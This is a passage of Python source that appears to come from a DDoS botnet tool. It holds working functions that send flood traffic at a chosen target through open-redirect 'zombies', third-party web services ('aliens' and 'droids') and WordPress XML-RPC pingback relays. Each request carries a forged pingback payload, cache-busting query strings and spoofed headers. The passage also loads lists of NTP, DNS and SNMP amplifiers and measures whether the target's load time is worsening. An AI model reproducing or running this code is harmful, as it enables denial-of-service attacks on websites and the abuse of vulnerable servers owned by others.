  3314. self.discard_ucavs.append(ucav)
  3315. self.num_discard_ucavs = self.num_discard_ucavs + 1
  3316. ucavs = self.discarding_ucavs(ucav, ucavs) # check if ucav is failing for autobalance army
  3317. if not self.options.disablepurge:
  3318. if not ucavs: # return when not any working
  3319. self.options.disableucavs = True
  3320. return
  3321. shuffle(ucavs) # shuffle ucavs order, each discarding check :-)
  3322. for ucav in ucavs:
  3323. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3324. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3325. if target.startswith("http://"): # parse target for some checkers
  3326. target = target.replace('http://','')
  3327. elif target.startswith("https://"):
  3328. target = target.replace('https://','')
  3329. url = ucav + target
  3330. t = urlparse(ucav)
  3331. name_ucav = t.netloc
  3332. if name_ucav == "":
  3333. name_ucav = ucav
  3334. if options.verbose:
  3335. print(("[Info] [UCAVs] Sniping: " + url))
  3336. try:
  3337. if options.proxy: # set proxy
  3338. self.proxy_transport(options.proxy)
  3339. if options.timeout: # set timeout
  3340. ucav_timeout = options.timeout
  3341. else:
  3342. ucav_timeout = 5
  3343. if ucav_timeout < 1:
  3344. ucav_timeout = 5
  3345. req = urllib.request.Request(url, None, headers)
  3346. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=ucav_timeout).read().decode('utf-8')
  3347. self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
  3348. except:
  3349. print("[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)")
  3350. if not self.options.disablepurge:
  3351. self.discard_ucavs.append(ucav)
  3352. self.num_discard_ucavs = self.num_discard_ucavs + 1
  3353. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  3354. target_reply = ""
  3355. if target_reply == "": # check for target's status resolved by [UCAVs]
  3356. pass
  3357. else:
  3358. if not "is down" or not "looks down" or not "No info found for host" in target_reply: # parse external service for reply
  3359. print("[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]")
  3360. self.num_is_up = self.num_is_up + 1
  3361. else:
  3362. print("[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]")
  3363. self.num_is_down = self.num_is_down + 1
  3364. if self.options.verbose:
  3365. print("[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning...")
  3366. self.extra_zombies_lock = False # [ARMY] have finished
  3367. def extract_median(self, num_list):
  3368. # extract median from a list of numbers
  3369. import statistics
  3370. int_num = []
  3371. for num in num_list:
  3372. num = float(num)
  3373. int_num.append(num)
  3374. return statistics.median(int_num)
  3375. def check_is_loading(self, target):
  3376. # perform a broadband test (using GET) to analize target's reply to the traffic generated each round
  3377. self.start = None
  3378. self.stop = None
  3379. print('\n---------')
  3380. print("\n[Info] [AI] Scanning target to check for levels on defensive shields...\n")
  3381. if target.endswith(""):
  3382. target.replace("", "/")
  3383. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3384. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3385. try:
  3386. req = urllib.request.Request(target, None, headers)
  3387. if self.options.proxy: # set proxy
  3388. self.proxy_transport(self.options.proxy)
  3389. if self.options.timeout: # set timeout
  3390. try:
  3391. timeout = int(self.options.timeout)
  3392. except:
  3393. timeout = 5
  3394. else:
  3395. timeout = 5
  3396. if timeout < 1:
  3397. timeout = 5
  3398. self.start = time.time()
  3399. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3400. header = urllib.request.urlopen(req, context=self.ctx).info()
  3401. self.stop = time.time()
  3402. except:
  3403. print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')
  3404. return
  3405. try:
  3406. s, size_name = self.convert_size(len(target_reply))
  3407. self.loadcheck_size_list.append(s) # add record to size list
  3408. size = '%s %s' % (s,size_name)
  3409. except:
  3410. size = "Error!"
  3411. try:
  3412. time_required = self.stop - self.start
  3413. load = self.convert_time(time_required)
  3414. self.loadcheck_load_list.append(load) # add record to load list
  3415. except:
  3416. load = "Error!"
  3417. self.loadcheck_counter = self.loadcheck_counter + 1
  3418. print(' -Total tests:', self.loadcheck_counter, "\n")
  3419. if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
  3420. lsm = self.extract_median(self.loadcheck_size_list)
  3421. if lsm is not None:
  3422. self.loadcheck_size_median = str(lsm) + " " + size_name
  3423. else:
  3424. self.loadcheck_size_median = None
  3425. llm = self.extract_median(self.loadcheck_load_list)
  3426. if llm is not None:
  3427. self.loadcheck_load_median = str(llm) + " seconds"
  3428. else:
  3429. self.loadcheck_load_median = None
  3430. if self.loadcheck_counter == 2: # first round
  3431. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  3432. print(' -Bytes in (this round) :', size)
  3433. if self.loadcheck_size_median is not None:
  3434. print(' -Bytes in (median) :', self.loadcheck_size_median)
  3435. print(' ----')
  3436. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  3437. print(' -Load time (this round) :', load, "seconds")
  3438. if self.loadcheck_load_median is not None:
  3439. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  3440. else:
  3441. print("\n")
  3442. self.loadcheck_size_max = None
  3443. self.loadcheck_size_min = None
  3444. self.loadcheck_load_max = None
  3445. self.loadcheck_load_min = None
  3446. elif self.loadcheck_counter > 2: # rest of rounds
  3447. lsmax = max(self.loadcheck_size_list)
  3448. if lsmax is not None:
  3449. self.loadcheck_size_max = str(lsmax) + " " + size_name
  3450. else:
  3451. self.loadcheck_size_max = None
  3452. lsmin = min(self.loadcheck_size_list)
  3453. if lsmin is not None:
  3454. self.loadcheck_size_min = str(lsmin) + " " + size_name
  3455. else:
  3456. self.loadcheck_size_min = None
  3457. llmax = max(self.loadcheck_load_list)
  3458. if llmax is not None:
  3459. self.loadcheck_load_max = str(llmax) + " seconds"
  3460. else:
  3461. self.loadcheck_load_max = None
  3462. llmin = min(self.loadcheck_load_list)
  3463. if llmin is not None:
  3464. self.loadcheck_load_min = str(llmin) + " seconds"
  3465. else:
  3466. self.loadcheck_load_min = None
  3467. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  3468. print(' -Bytes in (previous round) :', self.loadcheck_prev_size)
  3469. print(' -Bytes in (this round) :', size)
  3470. if self.loadcheck_size_max is not None:
  3471. print(' -Bytes in (max) :', self.loadcheck_size_max)
  3472. if self.loadcheck_size_min is not None:
  3473. print(' -Bytes in (min) :', self.loadcheck_size_min)
  3474. if self.loadcheck_size_median is not None:
  3475. print(' -Bytes in (median) :', self.loadcheck_size_median)
  3476. print(' ----')
  3477. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  3478. print(' -Load time (previous round):', self.loadcheck_prev_load, "seconds")
  3479. print(' -Load time (this round) :', load, "seconds")
  3480. if self.loadcheck_load_max is not None:
  3481. print(' -Load time (max) :', self.loadcheck_load_max)
  3482. if self.loadcheck_load_min is not None:
  3483. print(' -Load time (min) :', self.loadcheck_load_min)
  3484. if self.loadcheck_load_median is not None:
  3485. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  3486. else:
  3487. print("\n")
  3488. if self.loadcheck_prev_load < load: # target is loading more slowly
  3489. print("[Info] [AI] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n")
  3490. elif self.loadcheck_prev_load == load: # inmutable target
  3491. print("[Info] [AI] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n")
  3492. elif self.loadcheck_prev_load > load: # is target defending?
  3493. print("[Info] [AI] [Scanner] Target is loading this round faster than the previous one! -> DETECTED: [PROXY CACHE!!]\n")
  3494. else:
  3495. print(' -Bytes in (this round) :', size)
  3496. print(' -Load time (this round):', load, "seconds\n")
  3497. self.loadcheck_first_size = size
  3498. self.loadcheck_first_load = load
  3499. self.loadcheck_size_median = None
  3500. self.loadcheck_load_median = None
  3501. self.loadcheck_size_max = None
  3502. self.loadcheck_size_min = None
  3503. self.loadcheck_load_max = None
  3504. self.loadcheck_load_min = None
  3505. self.loadcheck_prev_size = size # record previous size
  3506. self.loadcheck_prev_load = load # record previous load
  3507. def convert_size(self, size):
  3508. if (size == 0):
  3509. return '0 B'
  3510. size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
  3511. i = int(math.floor(math.log(size,1024)))
  3512. p = math.pow(1024,i)
  3513. s = round(size/p,2)
  3514. return s, size_name[i]
  3515. def convert_time(self, time):
  3516. return '%.2f' % time
  3517. def discarding_zombies(self, zombie, zombies):
  3518. if zombie in self.discardzombies:
  3519. zombies.remove(zombie)
  3520. if self.options.verbose:
  3521. print(("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]"))
  3522. return zombies
  3523. def send_zombies(self, zombies):
  3524. # send Open Redirect zombies
  3525. time.sleep(1) # aiming (multi-threading flow time compensation)
  3526. if not self.options.disablepurge:
  3527. if not zombies:
  3528. self.empty_zombies = True
  3529. return
  3530. if self.options.verbose:
  3531. print("[Info] [AI] [Control] Deploying [Zombies] with 'maser-melee' weapons...")
  3532. options = self.options
  3533. target = self.options.target
  3534. shuffle(zombies) # shuffle zombies order, each round :-)
  3535. if not self.options.disablepurge:
  3536. for zombie in zombies: # check if zombie is failing for autobalance army
  3537. if not zombie.startswith('http'): # discarded inmediately
  3538. self.discardzombies.append(zombie)
  3539. self.num_discard_zombies = self.num_discard_zombies + 1
  3540. zombies = self.discarding_zombies(zombie, zombies)
  3541. if not self.options.disablepurge:
  3542. if not zombies: # return when not any working
  3543. self.empty_zombies = True
  3544. return
  3545. for zombie in zombies:
  3546. t = urlparse(zombie)
  3547. name_zombie = t.netloc
  3548. if name_zombie == "":
  3549. name_zombie = zombie
  3550. if not self.options.attackme:
  3551. print("[Info] [Zombies] Attacking from: " + name_zombie)
  3552. else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie
  3553. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  3554. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  3555. self.options.target = target
  3556. print("[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port)
  3557. print("[Info] [Zombies] Payload: " + target)
  3558. print('='*55, "\n")
  3559. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3560. if not options.target.startswith('http'):
  3561. if options.forcessl:
  3562. options.target = "https://" + options.target
  3563. else:
  3564. options.target = "http://" + options.target
  3565. self.attack_mode = True
  3566. try:
  3567. if options.verbose:
  3568. print("[Info] [Zombies] Sniping: " + options.target)
  3569. self.connect_zombies(zombie)
  3570. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  3571. self.db_flash = self.db_flash + 1
  3572. stress = self.stressing(target, zombie)
  3573. except Exception:
  3574. print("[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)")
  3575. self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1 # used to manage threading pool
  3576. if not self.options.disablepurge:
  3577. self.discardzombies.append(zombie)
  3578. self.num_discard_zombies = self.num_discard_zombies + 1
  3579. if self.options.verbose:
  3580. print("[Info] [AI] [Zombies] "+str(name_zombie)+" is returning...")
  3581. self.attack_mode = False
  3582. def discarding_aliens(self, alien, aliens):
  3583. if alien in self.discard_aliens:
  3584. aliens.remove(alien)
  3585. if self.options.verbose:
  3586. print(("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]"))
  3587. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3588. return aliens
  3589. def send_aliens(self, aliens):
  3590. # extract external web abuse services urls (POST) and perform requests against target
  3591. time.sleep(2) # aiming (multi-threading flow time compensation)
  3592. if not self.options.disablepurge:
  3593. if not aliens: # return when not any working
  3594. self.options.disablealiens = True
  3595. return
  3596. target = self.options.target
  3597. options = self.options
  3598. shuffle(aliens) # shuffle aliens
  3599. if not self.options.disablepurge:
  3600. for alien in aliens:
  3601. if not alien.startswith('http'): # discarded inmediately
  3602. self.discard_aliens.append(alien)
  3603. self.num_discard_aliens = self.num_discard_aliens + 1
  3604. aliens = self.discarding_aliens(alien, aliens) # check if alien is failing for autobalance army
  3605. if not self.options.disablepurge:
  3606. if not aliens: # return when not any working
  3607. self.options.disablealiens = True
  3608. return
  3609. shuffle(aliens) # shuffle aliens order, each discarding check :-)
  3610. for alien in aliens:
  3611. name_alien = None
  3612. if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
  3613. regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
  3614. pattern_alien = re.compile(regex_alien)
  3615. alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
  3616. regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
  3617. pattern_param = re.compile(regex_param)
  3618. param = re.findall(pattern_param, alien) # HTTP POST params to submit
  3619. for u in alien_url:
  3620. url = u # ex: POST -> path/submit.php
  3621. t = urlparse(url)
  3622. name_alien = t.netloc
  3623. if name_alien == "":
  3624. name_alien = alien
  3625. print("[Info] [Aliens] Attacking from: " + name_alien)
  3626. for p in param:
  3627. param_target = {p : target} # ex POST -> url=target
  3628. param_target = urllib.parse.urlencode(param_target)
  3629. try:
  3630. if options.verbose:
  3631. print("[Info] [Aliens] Sniping: " + url + " - POST:", param_target)
  3632. if options.proxy: # set proxy
  3633. self.proxy_transport(options.proxy)
  3634. if self.options.timeout: # set timeout
  3635. try:
  3636. alien_timeout = int(self.options.timeout)
  3637. except:
  3638. alien_timeout = 5
  3639. else:
  3640. alien_timeout = 5
  3641. if alien_timeout < 1:
  3642. alien_timeout = 5
  3643. req = urllib.request.Request(url, param_target.encode('utf-8'))
  3644. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=alien_timeout)
  3645. self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats
  3646. except Exception:
  3647. print("[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)")
  3648. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3649. if not self.options.disablepurge:
  3650. self.discard_aliens.append(alien)
  3651. self.num_discard_aliens = self.num_discard_aliens + 1
  3652. else:
  3653. print(("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)"))
  3654. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3655. if not self.options.disablepurge:
  3656. self.discard_aliens.append(alien)
  3657. self.num_discard_aliens = self.num_discard_aliens + 1
  3658. if self.options.verbose:
  3659. if name_alien:
  3660. print("[Info] [AI] [Aliens] "+str(name_alien)+" is returning...")
  3661. else:
  3662. print("[Info] [AI] [Aliens] "+str(alien)+" is returning...")
  3663. if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:
  3664. self.extra_zombies_lock = False # [ARMY] have finished
  3665. def extract_aliens(self):
  3666. # extract aliens from file
  3667. options = self.options
  3668. try:
  3669. f = open(self.aliens_file)
  3670. aliens = f.readlines()
  3671. aliens = [ alien.replace('\n','') for alien in aliens ]
  3672. f.close()
  3673. if not aliens:
  3674. print("[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3675. self.options.disablealiens = True
  3676. return
  3677. else:
  3678. return aliens
  3679. except:
  3680. if os.path.exists(self.aliens_file) == True:
  3681. print("[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3682. return #sys.exit(2)
  3683. else:
  3684. print("[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")
  3685. return #sys.exit(2)
  3686. def discarding_droids(self, droid, droids):
  3687. if droid in self.discard_droids:
  3688. droids.remove(droid)
  3689. if self.options.verbose:
  3690. print(("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]"))
  3691. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3692. return droids
  3693. def send_droids(self, droids):
  3694. # extract external web abuse services urls (GET) and perform requests against target
  3695. time.sleep(3) # aiming (multi-threading flow time compensation)
  3696. if not self.options.disablepurge:
  3697. if not droids: # return when not any working
  3698. self.options.disabledroids = True
  3699. return
  3700. target = self.options.target
  3701. try:
  3702. target = urllib.parse.unquote(target).decode('utf8') # parte urlencoding
  3703. except:
  3704. target = urllib.parse.unquote(target)
  3705. if target.startswith('http://'): # remove http
  3706. target = target.replace('http://', '')
  3707. if target.startswith('https://'):
  3708. target = target.replace('https://', '') # remove https
  3709. options = self.options
  3710. shuffle(droids) # shuffle droids
  3711. if not self.options.disablepurge:
  3712. for droid in droids:
  3713. if not droid.startswith('http'): # discarded inmediately
  3714. self.discard_droids.append(droid)
  3715. self.num_discard_droids = self.num_discard_droids + 1
  3716. droids = self.discarding_droids(droid, droids) # check if droid is failing for autobalance army
  3717. if not self.options.disablepurge:
  3718. if not droids: # return when not any working
  3719. self.options.disabledroids = True
  3720. return
  3721. shuffle(droids) # shuffle droids order, each discarding check :-)
  3722. for droid in droids:
  3723. name_droid = None
  3724. if "$TARGET" in droid: # replace droid/parameter for target
  3725. url = droid.replace("$TARGET", target)
  3726. t = urlparse(url)
  3727. name_droid = t.netloc
  3728. if name_droid == "":
  3729. name_droid = droid
  3730. print("[Info] [Droids] Attacking from: " + name_droid)
  3731. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3732. headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers
  3733. try:
  3734. if options.proxy: # set proxy
  3735. self.proxy_transport(options.proxy)
  3736. if self.options.timeout: # set timeout
  3737. try:
  3738. droid_timeout = int(self.options.timeout)
  3739. except:
  3740. droid_timeout = 5
  3741. else:
  3742. droid_timeout = 5
  3743. if droid_timeout < 1:
  3744. droid_timeout = 5
  3745. req = urllib.request.Request(url, None, headers)
  3746. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=droid_timeout)
  3747. self.droids_hit = self.droids_hit + 1 # add hit to droids stats
  3748. except Exception:
  3749. print("[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)")
  3750. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3751. if not self.options.disablepurge:
  3752. self.discard_droids.append(droid)
  3753. self.num_discard_droids = self.num_discard_droids + 1
  3754. else:
  3755. print("[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)")
  3756. self.droids_fail = self.droids_fail + 1 # add fail to droids stats
  3757. if not self.options.disablepurge:
  3758. self.discard_droids.append(droid)
  3759. self.num_discard_droids = self.num_discard_droids + 1
  3760. if self.options.verbose:
  3761. if name_droid:
  3762. print("[Info] [AI] [Droids] "+str(name_droid)+" is returning...")
  3763. else:
  3764. print("[Info] [AI] [Droids] "+str(droid)+" is returning...")
  3765. if self.options.disablerpcs and self.options.disableucavs:
  3766. self.extra_zombies_lock = False # [ARMY] have finished
  3767. def extract_droids(self):
  3768. # extract droids from file
  3769. options = self.options
  3770. try:
  3771. f = open(self.droids_file)
  3772. droids = f.readlines()
  3773. droids = [ droid.replace('\n','') for droid in droids ]
  3774. f.close()
  3775. if not droids:
  3776. print("[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3777. self.options.disabledroids = True
  3778. return
  3779. else:
  3780. return droids
  3781. except:
  3782. if os.path.exists(self.droids_file) == True:
  3783. print("[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3784. return #sys.exit(2)
  3785. else:
  3786. print("[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]")
  3787. return #sys.exit(2)
  3788. def discarding_rpcs(self, rpc, rpcs):
  3789. if rpc in self.discard_rpcs:
  3790. rpcs.remove(rpc)
  3791. if self.options.verbose:
  3792. print(("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]"))
  3793. return rpcs
  3794. def send_rpcs(self, rpcs):
  3795. # extract vulnerable XML-RPC pingback services and perform requests against target
  3796. time.sleep(4) # aiming (multi-threading flow time compensation)
  3797. if not self.options.disablepurge:
  3798. if not rpcs: # return when not any working
  3799. self.options.disablerpcs = True
  3800. return
  3801. target = self.options.target
  3802. options = self.options
  3803. def random_key(length):
  3804. key = ''
  3805. for i in range(length):
  3806. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  3807. return key
  3808. shuffle(rpcs) # shuffle rpcs
  3809. if not self.options.disablepurge:
  3810. for rpc in rpcs:
  3811. if not rpc.startswith('http'): # discarded inmediately
  3812. if not self.options.disablepurge:
  3813. self.discard_rpcs.append(rpc)
  3814. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3815. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3816. rpcs = self.discarding_rpcs(rpc, rpcs) # check if rpc is failing for autobalance army
  3817. if not self.options.disablepurge:
  3818. if not rpcs: # return when not any working
  3819. self.options.disablerpcs = True
  3820. return
  3821. shuffle(rpcs) # shuffle rpcs order, each discarding check :-)
  3822. for rpc in rpcs:
  3823. t = urlparse(rpc)
  3824. name_rpc = t.netloc
  3825. if name_rpc == "":
  3826. name_rpc = rpc
  3827. print("[Info] [X-RPCs] Attacking from: " + name_rpc)
  3828. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3829. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3830. key = random_key(8) # generate random value page to bypass cache
  3831. rpc_page = "?" + str(key)
  3832. key = random_key(6) # re-generate random value id to bypass cache
  3833. rpc_id = "=" + str(key)
  3834. target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)
  3835. if "/xmlrpc.php" in rpc:
  3836. rpc_place = rpc.replace("xmlrpc.php", "")
  3837. rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"
  3838. try:
  3839. if options.proxy: # set proxy
  3840. self.proxy_transport(options.proxy)
  3841. if self.options.timeout: # set timeout
  3842. try:
  3843. rpc_timeout = int(self.options.timeout)
  3844. except:
  3845. rpc_timeout = 5
  3846. else:
  3847. rpc_timeout = 5
  3848. if rpc_timeout < 1:
  3849. rpc_timeout = 5
  3850. req = urllib.request.Request(rpc, rpc_exploit.encode('utf-8'), headers)
  3851. urllib.request.urlopen(req, context=self.ctx, timeout=rpc_timeout)
  3852. self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats
  3853. if self.options.verbose:
  3854. print("[Info] [X-RPCs] Reply:", target_reply)
  3855. except:
  3856. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)")
  3857. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3858. if not self.options.disablepurge:
  3859. self.discard_rpcs.append(rpc)
  3860. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3861. else:
  3862. print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)")
  3863. self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats
  3864. if not self.options.disablepurge:
  3865. self.discard_rpcs.append(rpc)
  3866. self.num_discard_rpcs = self.num_discard_rpcs + 1
  3867. if self.options.verbose:
  3868. print("[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning...")
  3869. if self.options.disableucavs:
  3870. self.extra_zombies_lock = False # [ARMY] have finished
  3871. def extract_rpcs(self):
  3872. # extract rpcs from file
  3873. options = self.options
  3874. try:
  3875. f = open(self.rpcs_file)
  3876. rpcs = f.readlines()
  3877. rpcs = [ rpc.replace('\r','') for rpc in rpcs ]
  3878. rpcs = [ rpc.replace('\n','') for rpc in rpcs ]
  3879. f.close()
  3880. if not rpcs:
  3881. print("[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  3882. self.options.disablerpcs = True
  3883. return
  3884. else:
  3885. return rpcs
  3886. except:
  3887. if os.path.exists(self.rpcs_file) == True:
  3888. print("[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")
  3889. return
  3890. else:
  3891. print("[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]")
  3892. return
  3893. def extract_ntps(self):
  3894. # extract ntps from file
  3895. options = self.options
  3896. try:
  3897. f = open(self.ntps_file)
  3898. ntps = f.readlines()
  3899. ntps = [ ntp.replace('\r','') for ntp in ntps ]
  3900. ntps = [ ntp.replace('\n','') for ntp in ntps ]
  3901. f.close()
  3902. if not ntps:
  3903. print("[Info] [AI] [Control] Cannot retrieve [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
  3904. return
  3905. else:
  3906. return ntps
  3907. except:
  3908. if os.path.exists(self.ntps_file) == True:
  3909. print("[Info] [AI] [Control] Cannot open [NTPs] from: 'botnet/ntp.txt' -> [Discarding!]")
  3910. return
  3911. else:
  3912. print("[Info] [AI] [Control] Cannot found [NTPs] from: 'botnet/ntp.txt' [Discarding!]")
  3913. return
  3914. def extract_dnss(self):
  3915. # extract dnss from file
  3916. options = self.options
  3917. try:
  3918. f = open(self.dnss_file)
  3919. dnss = f.readlines()
  3920. dnss = [ dns.replace('\r','') for dns in dnss ]
  3921. dnss = [ dns.replace('\n','') for dns in dnss ]
  3922. f.close()
  3923. if not dnss:
  3924. print("[Info] [AI] [Control] Cannot retrieve [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
  3925. return
  3926. else:
  3927. return dnss
  3928. except:
  3929. if os.path.exists(self.dnss_file) == True:
  3930. print("[Info] [AI] [Control] Cannot open [DNSs] from: 'botnet/dns.txt' -> [Discarding!]")
  3931. return
  3932. else:
  3933. print("[Info] [AI] [Control] Cannot found [DNSs] from: 'botnet/dns.txt' [Discarding!]")
  3934. return
  3935. def extract_snmps(self):
  3936. # extract snmps from file
  3937. options = self.options
  3938. try:
  3939. f = open(self.snmps_file)
  3940. snmps = f.readlines()
  3941. snmps = [ snmp.replace('\r','') for snmp in snmps ]
  3942. snmps = [ snmp.replace('\n','') for snmp in snmps ]
  3943. f.close()
  3944. if not snmps:
  3945. print("[Info] [AI] [Control] Cannot retrieve [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
  3946. return
  3947. else:
  3948. return snmps
  3949. except:
  3950. if os.path.exists(self.snmps_file) == True:
  3951. print("[Info] [AI] [Control] Cannot open [SNMPs] from: 'botnet/snmp.txt' -> [Discarding!]")
  3952. return
  3953. else:
  3954. print("[Info] [AI] [Control] Cannot found [SNMPs] from: 'botnet/snmp.txt' [Discarding!]")
  3955. return
  3956. def extract_zombies(self):
  3957. options = self.options
  3958. if self.options.test:
  3959. try:
  3960. f = open(options.test)
  3961. zombies = f.readlines()
  3962. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  3963. f.close()
  3964. if not zombies:
  3965. print("\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3966. return
  3967. else:
  3968. return zombies
  3969. except:
  3970. if os.path.exists(options.test) == True:
  3971. print("\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3972. return #sys.exit(2)
  3973. else:
  3974. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3975. return #sys.exit(2)
  3976. else:
  3977. try:
  3978. f = open(self.zombies_file)
  3979. zombies = f.readlines()
  3980. zombies = [ zombie.replace('\n','') for zombie in zombies ]
  3981. f.close()
  3982. if not zombies:
  3983. print("\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3984. return
  3985. else:
  3986. return zombies
  3987. except:
  3988. if os.path.exists(self.zombies_file) == True:
  3989. print("\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3990. return #sys.exit(2)
  3991. else:
  3992. print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")
  3993. return #sys.exit(2)
  3994. def extract_target_list(self):
  3995. options = self.options
  3996. try:
  3997. f = open(options.target_list)
  3998. targets = f.readlines()
  3999. targets = [ target.replace('\n','') for target in targets ]
  4000. f.close()
  4001. if not targets:
  4002. print("\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  4003. return
  4004. else:
  4005. return targets
  4006. except:
  4007. if os.path.exists(options.target_list) == True:
  4008. print("\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  4009. return #sys.exit(2)
  4010. else:
  4011. print("\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")
  4012. return #sys.exit(2)
  4013. def update_zombies(self, zombies_ready):
  4014. # update zombies on file
  4015. options = self.options
  4016. if options.attackme:
  4017. f = open(self.zombies_file, "w") # re-write list
  4018. for zombie in self.doll.real_zombies: # add only alien verified zombies
  4019. for x in zombie:
  4020. f.write(str(x) + os.linesep)
  4021. f.close()
  4022. if options.test or options.testall:
  4023. if not options.test:
  4024. options.test = self.zombies_file
  4025. f = open(options.test, "w") # re-write list only with zombies ready
  4026. for zombie in zombies_ready:
  4027. f.write(zombie + os.linesep)
  4028. f.close()
  4029. if options.search or options.dorks or options.autosearch or options.download or options.download_github: # append only new zombies to list (dorking supported)
  4030. f = open(self.zombies_file)
  4031. zombies_on_file = f.read().splitlines()
